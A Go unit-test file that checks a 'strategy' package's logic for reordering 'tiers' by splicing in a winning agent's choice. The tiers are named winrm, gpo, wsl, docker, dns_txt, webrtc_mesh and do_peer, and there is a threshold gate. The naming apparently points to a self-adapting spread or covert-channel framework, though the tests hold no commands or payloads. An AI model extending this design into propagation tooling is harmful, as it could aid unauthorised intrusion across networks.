package strategy import ( "testing" "time" ) func TestSpliceGraftGenomePrependsWinningTier(t *testing.T) { graft := BuildGraftSourceFromAgent("src", "winner", "winrm", "#aabbcc", nil, 900) order := SpliceGraftGenome([]string{"docker", "wsl", "gpo"}, graft) if len(order) < 3 { t.Fatalf("order too short: %v", order) } if order[0] != "winrm" { t.Fatalf("winning tier should lead, got %v", order) } } func TestGraftMetabolismGate(t *testing.T) { if !GraftMetabolismGatePassed(100, 50) { t.Fatal("expected pass above gate") } if GraftMetabolismGatePassed(10, 50) { t.Fatal("expected fail below gate") } if !GraftMetabolismGatePassed(0, 0) { t.Fatal("disabled gate should pass") } } func TestBuildGraftPolicySplicesGenome(t *testing.T) { graft := BuildGraftSourceFromAgent("a", "worker-07", "dns_txt", "#112233", []string{"dns_txt", "webrtc_mesh", "do_peer"}, 1200) p := BuildGraftPolicy(graft, []string{"docker", "wsl"}, time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC)) if p.GraftTier != "dns_txt" || p.GraftSourceStrain != "#112233" { t.Fatalf("graft fields: %+v", p) } if len(p.TierOrder) == 0 { t.Fatal("expected spliced tier order") } if p.TierOrder[0] != "dns_txt" { t.Fatalf("tier order = %v", p.TierOrder) } } func TestGraftEnabledRequiresBothToggles(t *testing.T) { if GraftEnabled(false, true) || GraftEnabled(true, false) { t.Fatal("both toggles required") } if !GraftEnabled(true, true) { t.Fatal("expected enabled") } }